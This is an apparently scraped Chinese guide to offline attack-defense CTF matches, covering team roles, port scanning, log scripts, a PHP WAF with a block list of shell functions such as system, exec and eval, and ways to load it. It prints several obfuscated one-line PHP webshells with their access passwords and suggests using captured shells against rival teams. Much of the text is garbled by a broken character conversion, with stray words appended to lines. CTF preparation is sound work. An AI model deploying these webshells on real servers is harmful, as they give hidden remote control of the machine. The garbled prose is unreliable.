SSH登錄php
兩三我的進行分工,一個粗略的看下web,有登錄口的話,就須要修改密碼,將狀況反饋給隊友,讓登錄ssh的小夥伴進行密碼的修改,改爲炒雞複雜、而後將Web目錄下載下來,上WAF、文件監控、端口掃描。將這幾個工做分工好,順序就像圖上。html
tips:將下載下來的Web目錄理一遍,看是否有可疑的文件夾,好比bak。git
網絡拓撲github
主機發現web
若是是在同個C段,或者B段,都可以使用RouterScan進行對80端口掃描進行掃描得出,嫌麻煩的話,就用httpscan(https://github.com/zer0h/httpscan)這個小巧的腳本。sql
千萬要記得掃端口,這很重要。用nmap也行,本身寫的腳本或者網上找的也行。shell
預留後門vim
有的比賽環境,爲了照顧比較菜的選手(此處舉手),預留了一句話後門。將整個web目錄下載到本地,使用hm.exe、D盾或者別的掃描工具能夠掃描得出(若是預留)。安全
一句話ruby
控制用的一句話木馬,最好是須要菜刀配置的,這樣作是爲了避免讓別人輕易的利用你的一句話,要否則就只能等着別人用你的腳本撿分。
簡單舉例:
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
鏈接方式:php?2=assert密碼是1。
獻上我經常使用得一句話
<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置爲?b=))99(rhC(tseuqeR+lave
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
鏈接密碼:0(零)
日誌分析
1.感知可能正在發生的攻擊,從而規避存在的安全風險
2.應急響應,還原攻擊者的攻擊路徑,從而挽回已經形成的損失
記錄log腳本
這種腳本網上有不少。
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //記錄訪問者的ip
$filename = $_SERVER['PHP_SELF'];//訪問者要訪問的文件名
$parameter = $_SERVER["QUERY_STRING"]; //訪問者要請求的參數
$time = date('Y-m-d H:i:s',time()); //訪問時間
$logadd = '來訪時間:'.$time.'-->'.'訪問連接:'.'http://'.$ip.$filename.'?'.$parameter."rn";
// log記錄
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
日誌分析工具
1.LogForensics 騰訊實驗室
https://security.tencent.com/index.php/opensource/detail/15
2.北風飄然@金烏網絡安全實驗室
http://www.freebuf.com/sectool/126698.html
3.網絡ID爲piaox的安全從業人員:
http://www.freebuf.com/sectool/110644.html
4.網絡ID:SecSky
http://www.freebuf.com/sectool/8982.html
5.網絡ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html
題目類型
1-出題人本身寫的cms
2-常見或者不常見的cms。
3-一些框架漏洞
0x02:代碼類型
目前來講,國內比賽依舊是php居多,固然也會有一些別的,好比py,lua這種。
0x03:題目漏洞類型
1-sqli居多
2-文件包含
3-各類rce
4-文件上傳
如何防守
其實防守更多看的是誰比較細心。
0x01:比賽開始的時候
比賽開始時,當咱們連上ssh的時候,咱們首先應該作的是把源碼down下來,及時作好備份。
而後在儘可能不違反主辦方check的原則下掛上本身的waf。
通常來講,主辦方可能會隔一段時間提供前一時段的流量,也可能不會,因此這個時候須要咱們本身去抓流量。
0x02:而後的工做
固然是審計,審計,再審計。
0x03:當發現被打時
當發現本身被打時,首先嚐試還原之前的備份(記得備份當前),若是依然被打,這個時候應該跟隊友分好工,查看抓取的流量以及查看服務器上是否是存在shell。
一個web狗須要具有的一些東西
1-快速的漏洞反應能力。
由於有的時候,一些比賽放的漏洞都是網上能查到的,因此這個時候須要一個好的搜索技巧。或者是一些rce顯而易見的那種。
2-快速編寫腳本的能力。
由於你們的服務都是同樣的,而你若是能經過好比注入的方式拿到flag,若是用hackbar一個個去弄,顯然不夠優雅,並且有時候特別會容易遺漏,那麼這個時候寫個小py無疑是極好的。
3-一個好的心態
畢竟跟你同場競技的都是各位大佬,因此當你發現本身被打的時候,心態不要崩,一旦崩了就基本宣佈gg了。
當咱們處於優點地位時
除非處於那種絕對優點的時候,咱們能夠什麼都不在意。
當咱們處於一個微弱優點時,這個時候咱們須要一個比較腹黑的思想,好比說,A隊與B隊只差了可能幾百的分數,而A隊這個時候有B隊的webshell,那麼如何把B隊拖下水,相信你們都懂。
當咱們處於劣勢地位時
首先仍是那句話,心態不要崩。
其次由於web比較容易抓取流量,因此即便咱們被打,咱們也能夠及時經過分析流量去查看別的隊伍的payload,從而進行反打。
若是本身的服務器上被種了shell,刪除是確定的,可是要這樣想,若是給你種了shell,那麼這種通常是自動化腳本打的,就意味着別的隊伍也可能被種,路徑密碼什麼的都同樣。
最想要的WAF
<?php
error_reporting(0);
define('LOG_FILENAME','log.txt');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);//fix a bug
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach($vpattern as $value){
foreach ($v as $kk => $vv) {
if (preg_match( "/$value/i", $vv )){
$bool = true;
logging($input);
break;
}
}
if($bool) break;
}
if($bool) break;
}
}
function logging($var){
file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
這個WAF在線下攻防賽中,絕對是一個大殺器。
不只攔截了大多數非法語句,還能記錄全部的攻擊流量,輕鬆獲得別人的payload。
不知道主辦方要如何解決這個WAF所存在的問題。
固然,這個WAF應該也不是完美的,還能夠添加更多的規則,讓他變得更強!
接下來再說說,在實戰中如何加載這個WAF。
根據權限不一樣,就有不一樣的加載方式。
那麼,這樣就簡單了,直接寫在配置中。
vim php.ini
auto_append_file = 「/dir/path/phpwaf.php」
重啓Apache或者php-fpm就能生效了。
固然也能夠寫在 .user.ini 或者 .htaccess 中。
php_value auto_prepend_file 「/dir/path/phpwaf.php」
沒寫系統權限就只能在代碼上面下手了,也就是文件包含。
這鐘狀況又能夠用不一樣的方式包含。
若是是框架型應用,那麼就能夠添加在入口文件,例如index.php,
若是不是框架應用,那麼能夠在公共配置文件config.php等相關文件中包含。
include('phpwaf.php');
還有一種是替換index.php,也就是講index.php更名爲index2.php,而後講phpwaf.php改爲index.php。
固然還沒完,還要在原phpwaf.php中包含原來的index.php。
index.php -> index2.php
phpwaf.php -> index.php
include('index2.php');
最後兩個連接但願對彼此有用(http://bobao.360.cn/ctf/detail/169.html)(http://byd.dropsec.xyz/2017/05/16/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7/index.html)。